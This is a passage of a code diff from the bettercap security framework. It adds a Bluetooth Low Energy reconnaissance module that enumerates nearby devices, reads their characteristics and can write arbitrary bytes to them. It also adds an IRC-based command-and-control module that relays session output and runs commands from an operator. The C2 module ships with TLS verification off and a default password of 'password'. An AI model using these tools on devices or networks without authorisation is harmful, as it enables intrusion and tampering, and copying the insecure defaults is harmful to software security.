5187: "Location Pod",
5188: "Location and Navigation Pod",
}
func parseProperties(ch *gatt.Characteristic) (props []string, isReadable bool, isWritable bool, withResponse bool) {
isReadable = false
isWritable = false
withResponse = false
props = make([]string, 0)
mask := ch.Properties()
if (mask & gatt.CharBroadcast) != 0 {
props = append(props, "BCAST")
}
if (mask & gatt.CharRead) != 0 {
isReadable = true
props = append(props, "READ")
}
if (mask&gatt.CharWriteNR) != 0 || (mask&gatt.CharWrite) != 0 {
props = append(props, tui.Bold("WRITE"))
isWritable = true
withResponse = (mask & gatt.CharWriteNR) == 0
}
if (mask & gatt.CharNotify) != 0 {
props = append(props, "NOTIFY")
}
if (mask & gatt.CharIndicate) != 0 {
props = append(props, "INDICATE")
}
if (mask & gatt.CharSignedWrite) != 0 {
props = append(props, tui.Yellow("SIGN WRITE"))
isWritable = true
withResponse = true
}
if (mask & gatt.CharExtended) != 0 {
props = append(props, "X")
}
return
}
func parseRawData(raw []byte) string {
s := ""
for _, b := range raw {
if strconv.IsPrint(rune(b)) {
s += tui.Yellow(string(b))
} else {
s += tui.Dim(fmt.Sprintf("%02x", b))
}
}
return s
}
// org.bluetooth.characteristic.gap.appearance
func parseAppearance(raw []byte) string {
app := binary.LittleEndian.Uint16(raw[0:2])
if appName, found := appearances[app]; found {
return tui.Green(appName)
}
return fmt.Sprintf("0x%x", app)
}
// org.bluetooth.characteristic.pnp_id
func parsePNPID(raw []byte) []string {
vendorIdSrc := byte(raw[0])
vendorId := binary.LittleEndian.Uint16(raw[1:3])
prodId := binary.LittleEndian.Uint16(raw[3:5])
prodVer := binary.LittleEndian.Uint16(raw[5:7])
src := ""
if vendorIdSrc == 1 {
src = " (Bluetooth SIG assigned Company Identifier)"
} else if vendorIdSrc == 2 {
src = " (USB Implementers Forum assigned Vendor ID value)"
}
return []string{
tui.Green("Vendor ID") + fmt.Sprintf(": 0x%04x%s", vendorId, tui.Dim(src)),
tui.Green("Product ID") + fmt.Sprintf(": 0x%04x", prodId),
tui.Green("Product Version") + fmt.Sprintf(": 0x%04x", prodVer),
}
}
// org.bluetooth.characteristic.gap.peripheral_preferred_connection_parameters
func parseConnectionParams(raw []byte) []string {
minConInt := binary.LittleEndian.Uint16(raw[0:2])
maxConInt := binary.LittleEndian.Uint16(raw[2:4])
slaveLat := binary.LittleEndian.Uint16(raw[4:6])
conTimeMul := binary.LittleEndian.Uint16(raw[6:8])
return []string{
tui.Green("Connection Interval") + fmt.Sprintf(": %d -> %d", minConInt, maxConInt),
tui.Green("Slave Latency") + fmt.Sprintf(": %d", slaveLat),
tui.Green("Connection Supervision Timeout Multiplier") + fmt.Sprintf(": %d", conTimeMul),
}
}
// org.bluetooth.characteristic.gap.peripheral_privacy_flag
func parsePrivacyFlag(raw []byte) string {
if raw[0] == 0x0 {
return tui.Green("Privacy Disabled")
}
return tui.Red("Privacy Enabled")
}
func (mod *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) {
columns := []string{"Handles", "Service > Characteristics", "Properties", "Data"}
rows := make([][]string, 0)
wantsToWrite := mod.writeUUID != nil
foundToWrite := false
mod.currDevice.Services = make([]network.BLEService, 0)
for _, svc := range services {
service := network.BLEService{
UUID: svc.UUID().String(),
Name: svc.Name(),
Handle: svc.Handle(),
EndHandle: svc.EndHandle(),
Characteristics: make([]network.BLECharacteristic, 0),
}
mod.Session.Events.Add("ble.device.service.discovered", svc)
name := svc.Name()
if name == "" {
name = svc.UUID().String()
} else {
name = fmt.Sprintf("%s (%s)", tui.Green(name), tui.Dim(svc.UUID().String()))
}
row := []string{
fmt.Sprintf("%04x -> %04x", svc.Handle(), svc.EndHandle()),
name,
"",
"",
}
rows = append(rows, row)
chars, err := p.DiscoverCharacteristics(nil, svc)
if err != nil {
mod.Error("error while enumerating chars for service %s: %s", svc.UUID(), err)
} else {
for _, ch := range chars {
props, isReadable, isWritable, withResponse := parseProperties(ch)
char := network.BLECharacteristic{
UUID: ch.UUID().String(),
Name: ch.Name(),
Handle: ch.VHandle(),
Properties: props,
}
mod.Session.Events.Add("ble.device.characteristic.discovered", ch)
name = ch.Name()
if name == "" {
name = " " + ch.UUID().String()
} else {
name = fmt.Sprintf(" %s (%s)", tui.Green(name), tui.Dim(ch.UUID().String()))
}
if wantsToWrite && mod.writeUUID.Equal(ch.UUID()) {
foundToWrite = true
if isWritable {
mod.Debug("writing %d bytes to characteristics %s ...", len(mod.writeData), mod.writeUUID)
} else {
mod.Warning("attempt to write %d bytes to non writable characteristics %s ...", len(mod.writeData), mod.writeUUID)
}
if err := p.WriteCharacteristic(ch, mod.writeData, !withResponse); err != nil {
mod.Error("error while writing: %s", err)
}
}
sz := 0
raw := ([]byte)(nil)
err := error(nil)
if isReadable {
if raw, err = p.ReadCharacteristic(ch); raw != nil {
sz = len(raw)
}
}
data := ""
multi := ([]string)(nil)
if err != nil {
data = tui.Red(err.Error())
} else if ch.Name() == "Appearance" && sz >= 2 {
data = parseAppearance(raw)
} else if ch.Name() == "PnP ID" && sz >= 7 {
multi = parsePNPID(raw)
} else if ch.Name() == "Peripheral Preferred Connection Parameters" && sz >= 8 {
multi = parseConnectionParams(raw)
} else if ch.Name() == "Peripheral Privacy Flag" && sz >= 1 {
data = parsePrivacyFlag(raw)
} else {
data = parseRawData(raw)
}
if ch.Name() == "Device Name" && data != "" && mod.currDevice.DeviceName == "" {
mod.currDevice.DeviceName = data
}
if multi == nil {
char.Data = data
rows = append(rows, []string{
fmt.Sprintf("%04x", ch.VHandle()),
name,
strings.Join(props, ", "),
data,
})
} else {
char.Data = multi
for i, m := range multi {
if i == 0 {
rows = append(rows, []string{
fmt.Sprintf("%04x", ch.VHandle()),
name,
strings.Join(props, ", "),
m,
})
} else {
rows = append(rows, []string{"", "", "", m})
}
}
}
service.Characteristics = append(service.Characteristics, char)
}
// blank row after every service, bleah style
rows = append(rows, []string{"", "", "", ""})
}
mod.currDevice.Services = append(mod.currDevice.Services, service)
}
if wantsToWrite && !foundToWrite {
mod.Error("writable characteristics %s not found.", mod.writeUUID)
} else {
tui.Table(mod.Session.Events.Stdout, columns, rows)
mod.Session.Refresh()
}
}

View file

@ -0,0 +1,33 @@
//go:build !windows && !freebsd && !openbsd && !netbsd
// +build !windows,!freebsd,!openbsd,!netbsd
package ble
import (
"github.com/bettercap/bettercap/v2/network"
)
type ByBLERSSISorter []*network.BLEDevice
func (a ByBLERSSISorter) Len() int { return len(a) }
func (a ByBLERSSISorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByBLERSSISorter) Less(i, j int) bool {
if a[i].RSSI == a[j].RSSI {
return a[i].Device.ID() < a[j].Device.ID()
}
return a[i].RSSI > a[j].RSSI
}
type ByBLEMacSorter []*network.BLEDevice
func (a ByBLEMacSorter) Len() int { return len(a) }
func (a ByBLEMacSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByBLEMacSorter) Less(i, j int) bool {
return a[i].Device.ID() < a[j].Device.ID()
}
type ByBLESeenSorter []*network.BLEDevice
func (a ByBLESeenSorter) Len() int { return len(a) }
func (a ByBLESeenSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByBLESeenSorter) Less(i, j int) bool { return a[i].LastSeen.Before(a[j].LastSeen) }

View file

@ -0,0 +1,56 @@
//go:build windows || freebsd || netbsd || openbsd
// +build windows freebsd netbsd openbsd
package ble
import (
"github.com/bettercap/bettercap/v2/session"
)
type BLERecon struct {
session.SessionModule
}
func NewBLERecon(s *session.Session) *BLERecon {
mod := &BLERecon{
SessionModule: session.NewSessionModule("ble.recon", s),
}
mod.AddHandler(session.NewModuleHandler("ble.recon on", "",
"Start Bluetooth Low Energy devices discovery.",
func(args []string) error {
return session.ErrNotSupported
}))
mod.AddHandler(session.NewModuleHandler("ble.recon off", "",
"Stop Bluetooth Low Energy devices discovery.",
func(args []string) error {
return session.ErrNotSupported
}))
return mod
}
func (mod BLERecon) Name() string {
return "ble.recon"
}
func (mod BLERecon) Description() string {
return "Bluetooth Low Energy devices discovery."
}
func (mod BLERecon) Author() string {
return "Simone Margaritelli <evilsocket@gmail.com>"
}
func (mod *BLERecon) Configure() (err error) {
return session.ErrNotSupported
}
func (mod *BLERecon) Start() error {
return session.ErrNotSupported
}
func (mod *BLERecon) Stop() error {
return session.ErrNotSupported
}

View file

@ -1,21 +0,0 @@
package modules
import (
"github.com/bettercap/gatt"
"github.com/bettercap/gatt/linux/cmd"
)
var defaultBLEClientOptions = []gatt.Option{
gatt.LnxMaxConnections(255),
gatt.LnxDeviceID(-1, true),
}
var defaultBLEServerOptions = []gatt.Option{
gatt.LnxMaxConnections(255),
gatt.LnxDeviceID(-1, true),
gatt.LnxSetAdvertisingParameters(&cmd.LESetAdvertisingParameters{
AdvertisingIntervalMin: 0x00f4,
AdvertisingIntervalMax: 0x00f4,
AdvertisingChannelMap: 0x7,
}),
}

View file

@ -1,271 +0,0 @@
// +build !windows
// +build !darwin
package modules
import (
"encoding/hex"
"fmt"
"io/ioutil"
golog "log"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/session"
"github.com/bettercap/gatt"
)
const (
macRegexp = "([a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2})"
)
type BLERecon struct {
session.SessionModule
gattDevice gatt.Device
currDevice *network.BLEDevice
writeUUID *gatt.UUID
writeData []byte
connected bool
connTimeout time.Duration
quit chan bool
done chan bool
}
func NewBLERecon(s *session.Session) *BLERecon {
d := &BLERecon{
SessionModule: session.NewSessionModule("ble.recon", s),
gattDevice: nil,
quit: make(chan bool),
done: make(chan bool),
connTimeout: time.Duration(10) * time.Second,
currDevice: nil,
connected: false,
}
d.AddHandler(session.NewModuleHandler("ble.recon on", "",
"Start Bluetooth Low Energy devices discovery.",
func(args []string) error {
return d.Start()
}))
d.AddHandler(session.NewModuleHandler("ble.recon off", "",
"Stop Bluetooth Low Energy devices discovery.",
func(args []string) error {
return d.Stop()
}))
d.AddHandler(session.NewModuleHandler("ble.show", "",
"Show discovered Bluetooth Low Energy devices.",
func(args []string) error {
return d.Show()
}))
d.AddHandler(session.NewModuleHandler("ble.enum MAC", "ble.enum "+macRegexp,
"Enumerate services and characteristics for the given BLE device.",
func(args []string) error {
if d.isEnumerating() == true {
return fmt.Errorf("An enumeration for %s is already running, please wait.", d.currDevice.Device.ID())
}
d.writeData = nil
d.writeUUID = nil
return d.enumAllTheThings(network.NormalizeMac(args[0]))
}))
d.AddHandler(session.NewModuleHandler("ble.write MAC UUID HEX_DATA", "ble.write "+macRegexp+" ([a-fA-F0-9]+) ([a-fA-F0-9]+)",
"Write the HEX_DATA buffer to the BLE device with the specified MAC address, to the characteristics with the given UUID.",
func(args []string) error {
mac := network.NormalizeMac(args[0])
uuid, err := gatt.ParseUUID(args[1])
if err != nil {
return fmt.Errorf("Error parsing %s: %s", args[1], err)
}
data, err := hex.DecodeString(args[2])
if err != nil {
return fmt.Errorf("Error parsing %s: %s", args[2], err)
}
return d.writeBuffer(mac, uuid, data)
}))
return d
}
func (d BLERecon) Name() string {
return "ble.recon"
}
func (d BLERecon) Description() string {
return "Bluetooth Low Energy devices discovery."
}
func (d BLERecon) Author() string {
return "Simone Margaritelli <evilsocket@protonmail.com>"
}
func (d *BLERecon) isEnumerating() bool {
return d.currDevice != nil
}
func (d *BLERecon) Configure() (err error) {
if d.Running() {
return session.ErrAlreadyStarted
} else if d.gattDevice == nil {
log.Info("Initializing BLE device ...")
// hey Paypal GATT library, could you please just STFU?!
golog.SetOutput(ioutil.Discard)
if d.gattDevice, err = gatt.NewDevice(defaultBLEClientOptions...); err != nil {
return err
}
d.gattDevice.Handle(
gatt.PeripheralDiscovered(d.onPeriphDiscovered),
gatt.PeripheralConnected(d.onPeriphConnected),
gatt.PeripheralDisconnected(d.onPeriphDisconnected),
)
d.gattDevice.Init(d.onStateChanged)
}
return nil
}
func (d *BLERecon) pruner() {
log.Debug("Started BLE devices pruner ...")
for d.Running() {
for _, dev := range d.Session.BLE.Devices() {
if time.Since(dev.LastSeen) > blePresentInterval {
d.Session.BLE.Remove(dev.Device.ID())
}
}
time.Sleep(5 * time.Second)
}
}
func (d *BLERecon) Start() error {
if err := d.Configure(); err != nil {
return err
}
return d.SetRunning(true, func() {
go d.pruner()
<-d.quit
log.Info("Stopping BLE scan ...")
d.gattDevice.StopScanning()
d.done <- true
})
}
func (d *BLERecon) writeBuffer(mac string, uuid gatt.UUID, data []byte) error {
d.writeUUID = &uuid
d.writeData = data
return d.enumAllTheThings(mac)
}
func (d *BLERecon) enumAllTheThings(mac string) error {
dev, found := d.Session.BLE.Get(mac)
if found == false || dev == nil {
return fmt.Errorf("BLE device with address %s not found.", mac)
} else if d.Running() {
d.gattDevice.StopScanning()
}
d.setCurrentDevice(dev)
if err := d.Configure(); err != nil && err != session.ErrAlreadyStarted {
return err
}
log.Info("Connecting to %s ...", mac)
go func() {
time.Sleep(d.connTimeout)
if d.isEnumerating() && d.connected == false {
d.Session.Events.Add("ble.connection.timeout", d.currDevice)
d.onPeriphDisconnected(nil, nil)
}
}()
d.gattDevice.Connect(dev.Device)
return nil
}
func (d *BLERecon) Stop() error {
return d.SetRunning(false, func() {
d.quit <- true
<-d.done
})
}
func (d *BLERecon) setCurrentDevice(dev *network.BLEDevice) {
d.connected = false
d.currDevice = dev
}
func (d *BLERecon) onStateChanged(dev gatt.Device, s gatt.State) {
switch s {
case gatt.StatePoweredOn:
if d.currDevice == nil {
log.Info("Starting BLE discovery ...")
dev.Scan([]gatt.UUID{}, true)
}
case gatt.StatePoweredOff:
d.gattDevice = nil
default:
log.Warning("Unexpected BLE state: %v", s)
}
}
func (d *BLERecon) onPeriphDiscovered(p gatt.Peripheral, a *gatt.Advertisement, rssi int) {
d.Session.BLE.AddIfNew(p.ID(), p, a, rssi)
}
func (d *BLERecon) onPeriphDisconnected(p gatt.Peripheral, err error) {
if d.Running() {
// restore scanning
log.Info("Device disconnected, restoring BLE discovery.")
d.setCurrentDevice(nil)
d.gattDevice.Scan([]gatt.UUID{}, true)
}
}
func (d *BLERecon) onPeriphConnected(p gatt.Peripheral, err error) {
// timed out
if d.currDevice == nil {
log.Warning("Connected to %s but after the timeout :(", p.ID())
return
}
d.connected = true
defer func(per gatt.Peripheral) {
log.Info("Disconnecting from %s ...", per.ID())
per.Device().CancelConnection(per)
}(p)
d.Session.Events.Add("ble.device.connected", d.currDevice)
if err := p.SetMTU(500); err != nil {
log.Warning("Failed to set MTU: %s", err)
}
log.Info("Connected, enumerating all the things for %s!", p.ID())
services, err := p.DiscoverServices(nil)
if err != nil {
log.Error("Error discovering services: %s", err)
return
}
d.showServices(p, services)
}

View file

@ -1,16 +0,0 @@
// +build !windows
// +build !darwin
package modules
import (
"github.com/bettercap/bettercap/network"
)
type ByBLERSSISorter []*network.BLEDevice
func (a ByBLERSSISorter) Len() int { return len(a) }
func (a ByBLERSSISorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByBLERSSISorter) Less(i, j int) bool {
return a[i].RSSI > a[j].RSSI
}

View file

@ -1,212 +0,0 @@
// +build !windows
// +build !darwin
package modules
import (
"fmt"
"os"
"sort"
"strconv"
"strings"
"time"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/gatt"
)
var (
bleAliveInterval = time.Duration(5) * time.Second
blePresentInterval = time.Duration(30) * time.Second
)
func (d *BLERecon) getRow(dev *network.BLEDevice) []string {
address := network.NormalizeMac(dev.Device.ID())
vendor := dev.Vendor
sinceSeen := time.Since(dev.LastSeen)
lastSeen := dev.LastSeen.Format("15:04:05")
if sinceSeen <= bleAliveInterval {
lastSeen = core.Bold(lastSeen)
} else if sinceSeen > blePresentInterval {
lastSeen = core.Dim(lastSeen)
address = core.Dim(address)
}
isConnectable := core.Red("no")
if dev.Advertisement.Connectable == true {
isConnectable = core.Green("yes")
}
return []string{
fmt.Sprintf("%d dBm", dev.RSSI),
address,
dev.Device.Name(),
vendor,
isConnectable,
lastSeen,
}
}
func (d *BLERecon) Show() error {
devices := d.Session.BLE.Devices()
sort.Sort(ByBLERSSISorter(devices))
rows := make([][]string, 0)
for _, dev := range devices {
rows = append(rows, d.getRow(dev))
}
nrows := len(rows)
columns := []string{"RSSI", "Address", "Name", "Vendor", "Connectable", "Last Seen"}
if nrows > 0 {
core.AsTable(os.Stdout, columns, rows)
}
d.Session.Refresh()
return nil
}
func parseProperties(ch *gatt.Characteristic) (props []string, isReadable bool, isWritable bool, withResponse bool) {
isReadable = false
isWritable = false
withResponse = false
props = make([]string, 0)
mask := ch.Properties()
if (mask & gatt.CharBroadcast) != 0 {
props = append(props, "bcast")
}
if (mask & gatt.CharRead) != 0 {
isReadable = true
props = append(props, "read")
}
if (mask&gatt.CharWriteNR) != 0 || (mask&gatt.CharWrite) != 0 {
props = append(props, core.Bold("write"))
isWritable = true
withResponse = (mask & gatt.CharWriteNR) == 0
}
if (mask & gatt.CharNotify) != 0 {
props = append(props, "notify")
}
if (mask & gatt.CharIndicate) != 0 {
props = append(props, "indicate")
}
if (mask & gatt.CharSignedWrite) != 0 {
props = append(props, core.Yellow("*write"))
isWritable = true
withResponse = true
}
if (mask & gatt.CharExtended) != 0 {
props = append(props, "x")
}
return
}
func parseRawData(raw []byte) string {
s := ""
for _, b := range raw {
if b != 00 && strconv.IsPrint(rune(b)) == false {
return fmt.Sprintf("%x", raw)
} else if b == 0 {
break
} else {
s += fmt.Sprintf("%c", b)
}
}
return core.Yellow(s)
}
func (d *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) {
columns := []string{"Handles", "Service > Characteristics", "Properties", "Data"}
rows := make([][]string, 0)
wantsToWrite := d.writeUUID != nil
foundToWrite := false
for _, svc := range services {
d.Session.Events.Add("ble.device.service.discovered", svc)
name := svc.Name()
if name == "" {
name = svc.UUID().String()
} else {
name = fmt.Sprintf("%s (%s)", core.Green(name), core.Dim(svc.UUID().String()))
}
row := []string{
fmt.Sprintf("%04x -> %04x", svc.Handle(), svc.EndHandle()),
name,
"",
"",
}
rows = append(rows, row)
chars, err := p.DiscoverCharacteristics(nil, svc)
if err != nil {
log.Error("Error while enumerating chars for service %s: %s", svc.UUID(), err)
continue
}
for _, ch := range chars {
d.Session.Events.Add("ble.device.characteristic.discovered", ch)
name = ch.Name()
if name == "" {
name = " " + ch.UUID().String()
} else {
name = fmt.Sprintf(" %s (%s)", core.Green(name), core.Dim(ch.UUID().String()))
}
props, isReadable, isWritable, withResponse := parseProperties(ch)
if wantsToWrite && d.writeUUID.Equal(ch.UUID()) == true {
foundToWrite = true
if isWritable {
log.Info("Writing %d bytes to characteristics %s ...", len(d.writeData), d.writeUUID)
} else {
log.Warning("Attempt to write %d bytes to non writable characteristics %s ...", len(d.writeData), d.writeUUID)
}
err := p.WriteCharacteristic(ch, d.writeData, !withResponse)
if err != nil {
log.Error("Error while writing: %s", err)
}
}
data := ""
if isReadable {
raw, err := p.ReadCharacteristic(ch)
if err != nil {
data = core.Red(err.Error())
} else {
data = parseRawData(raw)
}
}
row := []string{
fmt.Sprintf("%04x", ch.Handle()),
name,
strings.Join(props, ", "),
data,
}
rows = append(rows, row)
}
}
if wantsToWrite && foundToWrite == false {
log.Error("Writable characteristics %s not found.", d.writeUUID)
} else {
core.AsTable(os.Stdout, columns, rows)
d.Session.Refresh()
}
}

View file

@ -1,66 +0,0 @@
// +build windows darwin
package modules
import (
"github.com/bettercap/bettercap/session"
)
type BLERecon struct {
session.SessionModule
}
/*
// darwin
var defaultBLEClientOptions = []gatt.Option{
gatt.MacDeviceRole(gatt.CentralManager),
}
var defaultBLEServerOptions = []gatt.Option{
gatt.MacDeviceRole(gatt.PeripheralManager),
}
*/
func NewBLERecon(s *session.Session) *BLERecon {
d := &BLERecon{
SessionModule: session.NewSessionModule("ble.recon", s),
}
d.AddHandler(session.NewModuleHandler("ble.recon on", "",
"Start Bluetooth Low Energy devices discovery.",
func(args []string) error {
return session.ErrNotSupported
}))
d.AddHandler(session.NewModuleHandler("ble.recon off", "",
"Stop Bluetooth Low Energy devices discovery.",
func(args []string) error {
return session.ErrNotSupported
}))
return d
}
func (d BLERecon) Name() string {
return "ble.recon"
}
func (d BLERecon) Description() string {
return "Bluetooth Low Energy devices discovery."
}
func (d BLERecon) Author() string {
return "Simone Margaritelli <evilsocket@protonmail.com>"
}
func (d *BLERecon) Configure() (err error) {
return session.ErrNotSupported
}
func (d *BLERecon) Start() error {
return session.ErrNotSupported
}
func (d *BLERecon) Stop() error {
return session.ErrNotSupported
}

386
modules/c2/c2.go Normal file
View file

@ -0,0 +1,386 @@
package c2
import (
"bytes"
"crypto/tls"
"fmt"
"strings"
"text/template"
"github.com/acarl005/stripansi"
"github.com/bettercap/bettercap/v2/modules/events_stream"
"github.com/bettercap/bettercap/v2/session"
"github.com/evilsocket/islazy/log"
"github.com/evilsocket/islazy/str"
irc "github.com/thoj/go-ircevent"
)
type settings struct {
server string
tls bool
tlsVerify bool
nick string
user string
password string
saslUser string
saslPassword string
operator string
controlChannel string
eventsChannel string
outputChannel string
}
type C2 struct {
session.SessionModule
settings settings
stream *events_stream.EventsStream
templates map[string]*template.Template
channels map[string]string
client *irc.Connection
eventBus session.EventBus
quit chan bool
}
type eventContext struct {
Session *session.Session
Event session.Event
}
func NewC2(s *session.Session) *C2 {
mod := &C2{
SessionModule: session.NewSessionModule("c2", s),
stream: events_stream.NewEventsStream(s),
templates: make(map[string]*template.Template),
channels: make(map[string]string),
quit: make(chan bool),
settings: settings{
server: "localhost:6697",
tls: true,
tlsVerify: false,
nick: "bettercap",
user: "bettercap",
password: "password",
operator: "admin",
eventsChannel: "#events",
outputChannel: "#events",
controlChannel: "#events",
},
}
mod.AddParam(session.NewStringParameter("c2.server",
mod.settings.server,
"",
"IRC server address and port."))
mod.AddParam(session.NewBoolParameter("c2.server.tls",
"true",
"Enable TLS."))
mod.AddParam(session.NewBoolParameter("c2.server.tls.verify",
"false",
"Enable TLS certificate validation."))
mod.AddParam(session.NewStringParameter("c2.operator",
mod.settings.operator,
"",
"IRC nickname of the user allowed to run commands."))
mod.AddParam(session.NewStringParameter("c2.nick",
mod.settings.nick,
"",
"IRC nickname."))
mod.AddParam(session.NewStringParameter("c2.username",
mod.settings.user,
"",
"IRC username."))
mod.AddParam(session.NewStringParameter("c2.password",
mod.settings.password,
"",
"IRC server password."))
mod.AddParam(session.NewStringParameter("c2.sasl.username",
mod.settings.saslUser,
"",
"IRC SASL username."))
mod.AddParam(session.NewStringParameter("c2.sasl.password",
mod.settings.saslPassword,
"",
"IRC server SASL password."))
mod.AddParam(session.NewStringParameter("c2.channel.output",
mod.settings.outputChannel,
"",
"IRC channel to send commands output to."))
mod.AddParam(session.NewStringParameter("c2.channel.events",
mod.settings.eventsChannel,
"",
"IRC channel to send events to."))
mod.AddParam(session.NewStringParameter("c2.channel.control",
mod.settings.controlChannel,
"",
"IRC channel to receive commands from."))
mod.AddHandler(session.NewModuleHandler("c2 on", "",
"Start the C2 module.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("c2 off", "",
"Stop the C2 module.",
func(args []string) error {
return mod.Stop()
}))
mod.AddHandler(session.NewModuleHandler("c2.channel.set EVENT_TYPE CHANNEL",
"c2.channel.set ([^\\s]+) (.+)",
"Set a specific channel to report events of this type.",
func(args []string) error {
eventType := args[0]
channel := args[1]
mod.Debug("setting channel for event %s: %v", eventType, channel)
mod.channels[eventType] = channel
return nil
}))
mod.AddHandler(session.NewModuleHandler("c2.channel.clear EVENT_TYPE",
"c2.channel.clear ([^\\s]+)",
"Clear the channel to use for a specific event type.",
func(args []string) error {
eventType := args[0]
if _, found := mod.channels[args[0]]; found {
delete(mod.channels, eventType)
mod.Debug("cleared channel for %s", eventType)
} else {
return fmt.Errorf("channel for event %s not set", args[0])
}
return nil
}))
mod.AddHandler(session.NewModuleHandler("c2.template.set EVENT_TYPE TEMPLATE",
"c2.template.set ([^\\s]+) (.+)",
"Set the reporting template to use for a specific event type.",
func(args []string) error {
eventType := args[0]
eventTemplate := args[1]
parsed, err := template.New(eventType).Parse(eventTemplate)
if err != nil {
return err
}
mod.Debug("setting template for event %s: %v", eventType, parsed)
mod.templates[eventType] = parsed
return nil
}))
mod.AddHandler(session.NewModuleHandler("c2.template.clear EVENT_TYPE",
"c2.template.clear ([^\\s]+)",
"Clear the reporting template to use for a specific event type.",
func(args []string) error {
eventType := args[0]
if _, found := mod.templates[args[0]]; found {
delete(mod.templates, eventType)
mod.Debug("cleared template for %s", eventType)
} else {
return fmt.Errorf("template for event %s not set", args[0])
}
return nil
}))
mod.Session.Events.OnPrint(mod.onPrint)
return mod
}
func (mod *C2) Name() string {
return "c2"
}
func (mod *C2) Description() string {
return "A CnC module that connects to an IRC server for reporting and commands."
}
func (mod *C2) Author() string {
return "Simone Margaritelli <evilsocket@gmail.com>"
}
func (mod *C2) Configure() (err error) {
if mod.Running() {
return session.ErrAlreadyStarted(mod.Name())
}
if err, mod.settings.server = mod.StringParam("c2.server"); err != nil {
return err
} else if err, mod.settings.tls = mod.BoolParam("c2.server.tls"); err != nil {
return err
} else if err, mod.settings.tlsVerify = mod.BoolParam("c2.server.tls.verify"); err != nil {
return err
} else if err, mod.settings.nick = mod.StringParam("c2.nick"); err != nil {
return err
} else if err, mod.settings.user = mod.StringParam("c2.username"); err != nil {
return err
} else if err, mod.settings.password = mod.StringParam("c2.password"); err != nil {
return err
} else if err, mod.settings.saslUser = mod.StringParam("c2.sasl.username"); err != nil {
return err
} else if err, mod.settings.saslPassword = mod.StringParam("c2.sasl.password"); err != nil {
return err
} else if err, mod.settings.operator = mod.StringParam("c2.operator"); err != nil {
return err
} else if err, mod.settings.eventsChannel = mod.StringParam("c2.channel.events"); err != nil {
return err
} else if err, mod.settings.controlChannel = mod.StringParam("c2.channel.control"); err != nil {
return err
} else if err, mod.settings.outputChannel = mod.StringParam("c2.channel.output"); err != nil {
return err
}
mod.eventBus = mod.Session.Events.Listen()
mod.client = irc.IRC(mod.settings.nick, mod.settings.user)
if log.Level == log.DEBUG {
mod.client.VerboseCallbackHandler = true
mod.client.Debug = true
}
mod.client.Password = mod.settings.password
mod.client.UseTLS = mod.settings.tls
mod.client.TLSConfig = &tls.Config{
InsecureSkipVerify: !mod.settings.tlsVerify,
}
if mod.settings.saslUser != "" || mod.settings.saslPassword != "" {
mod.client.SASLLogin = mod.settings.saslUser
mod.client.SASLPassword = mod.settings.saslPassword
mod.client.UseSASL = true
}
mod.client.AddCallback("PRIVMSG", func(event *irc.Event) {
channel := event.Arguments[0]
message := event.Message()
from := event.Nick
if from != mod.settings.operator {
mod.client.Privmsg(event.Nick, "nope")
return
}
if channel != mod.settings.controlChannel && channel != mod.settings.nick {
mod.Debug("from:%s on:%s - '%s'", from, channel, message)
return
}
mod.Debug("from:%s on:%s - '%s'", from, channel, message)
parts := strings.SplitN(message, " ", 2)
cmd := parts[0]
args := ""
if len(parts) > 1 {
args = parts[1]
}
if cmd == "join" {
mod.client.Join(args)
} else if cmd == "part" {
mod.client.Part(args)
} else if cmd == "nick" {
mod.client.Nick(args)
} else if err = mod.Session.Run(message); err == nil {
} else {
mod.client.Privmsgf(event.Nick, "error: %v", stripansi.Strip(err.Error()))
}
})
mod.client.AddCallback("001", func(e *irc.Event) {
mod.Debug("got 101")
mod.client.Join(mod.settings.controlChannel)
mod.client.Join(mod.settings.outputChannel)
mod.client.Join(mod.settings.eventsChannel)
})
return mod.client.Connect(mod.settings.server)
}
func (mod *C2) onPrint(format string, args ...interface{}) {
if !mod.Running() {
return
}
msg := stripansi.Strip(str.Trim(fmt.Sprintf(format, args...)))
for _, line := range strings.Split(msg, "\n") {
mod.client.Privmsg(mod.settings.outputChannel, line)
}
}
func (mod *C2) onEvent(e session.Event) {
if mod.Session.EventsIgnoreList.Ignored(e) {
return
}
// default channel or event specific channel?
channel := mod.settings.eventsChannel
if custom, found := mod.channels[e.Tag]; found {
channel = custom
}
var out bytes.Buffer
if tpl, found := mod.templates[e.Tag]; found {
// use a custom template to render this event
if err := tpl.Execute(&out, eventContext{
Session: mod.Session,
Event: e,
}); err != nil {
fmt.Fprintf(&out, "%v", err)
}
} else {
// use the default view to render this event
mod.stream.Render(&out, e)
}
// make sure colors and in general bash escape sequences are removed
msg := stripansi.Strip(str.Trim(string(out.Bytes())))
mod.client.Privmsg(channel, msg)
}
func (mod *C2) Start() error {
if err := mod.Configure(); err != nil {
return err
}
return mod.SetRunning(true, func() {
mod.Info("started")
for mod.Running() {
var e session.Event
select {
case e = <-mod.eventBus:
mod.onEvent(e)
case <-mod.quit:
mod.Debug("got quit")
return
}
}
})
}
func (mod *C2) Stop() error {
return mod.SetRunning(false, func() {
mod.quit <- true
mod.Session.Events.Unlisten(mod.eventBus)
mod.client.Quit()
mod.client.Disconnect()
})
}

356
modules/c2/c2_test.go Normal file
View file

@ -0,0 +1,356 @@
package c2
import (
"sync"
"testing"
"text/template"
"github.com/bettercap/bettercap/v2/session"
)
var (
testSession *session.Session
sessionOnce sync.Once
)
func createMockSession(t *testing.T) *session.Session {
sessionOnce.Do(func() {
var err error
testSession, err = session.New()
if err != nil {
t.Fatalf("Failed to create session: %v", err)
}
})
return testSession
}
func TestNewC2(t *testing.T) {
s := createMockSession(t)
mod := NewC2(s)
if mod == nil {
t.Fatal("NewC2 returned nil")
}
if mod.Name() != "c2" {
t.Errorf("Expected name 'c2', got '%s'", mod.Name())
}
